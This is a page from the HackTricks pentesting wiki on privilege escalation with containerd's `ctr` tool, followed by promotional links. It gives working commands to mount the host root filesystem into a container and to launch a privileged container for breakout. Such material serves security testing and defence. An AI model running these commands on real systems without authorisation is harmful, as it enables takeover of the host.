# Containerd (ctr) Privilege Escalation

<details>

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## Basic information

Go to the following link to learn **what is containerd** and `ctr`:

{% content-ref url="/pages/yp0xW8wxhEEVFDWl4T1b" %}
[2375, 2376 Pentesting Docker](/dashboard/network-services-pentesting/2375-pentesting-docker.md)
{% endcontent-ref %}

## PE 1

if you find that a host contains the `ctr` command:

```bash
which ctr
/usr/bin/ctr
```

You can list the images:

```bash
ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS 
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -      
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -      
```

And then **run one of those images mounting the host root folder to it**:

```bash
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
```

## PE 2

Run a container privileged and escape from it.\
You can run a privileged container as:

```bash
 ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
```

Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**:

{% content-ref url="/pages/5614OrNy53E6iMCSfWd9" %}
[Docker Basics & Breakout](/dashboard/linux-hardening/privilege-escalation/docker-breakout.md)
{% endcontent-ref %}

<details>

<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>


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